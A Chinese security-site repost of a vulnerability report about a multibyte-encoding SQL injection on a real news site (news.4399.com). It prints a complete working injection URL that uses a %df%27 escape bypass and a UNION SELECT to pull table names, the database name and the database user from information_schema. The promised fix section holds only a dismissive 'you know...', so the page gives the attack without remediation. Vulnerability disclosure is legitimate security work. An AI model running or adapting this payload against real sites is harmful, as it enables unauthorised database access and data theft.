4399一处SQL注射及修复 - 网站安全

4399一处SQL注射及修复 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] 简要描述：多字节编码问题引起的SQL注入,导致数据库信息泄漏.详细说明：漏洞证明：http://news.4399.com/list/index.php?w=hs=l=x=a=%df%27 AND 1=2 UNION SELECT 1,2,3,4,TABLE_NAME,6,7,8,9,10,11,12......

简要描述：
多字节编码问题引起的SQL注入,导致数据库信息泄漏.
详细说明：

漏洞证明：

http://news.4399.com/list/index.php?w=h&s=&l=&x=&a=%df%27 AND 1=2 UNION SELECT 1,2,3,4,TABLE_NAME,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,database(),user(),34,35,36,37,38,39,40,41,42 from information_schema.TABLES where TABLE_SCHEMA = 0x6E65777334333939%23

修复方案：
你懂的...

Dedecms敏感信息泄露及修复 - 网站安全 - 自学php

ET语音跨站脚本漏洞及修复 - 网站安全 - 自学ph

子栏目

4399一处SQL注射及修复 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论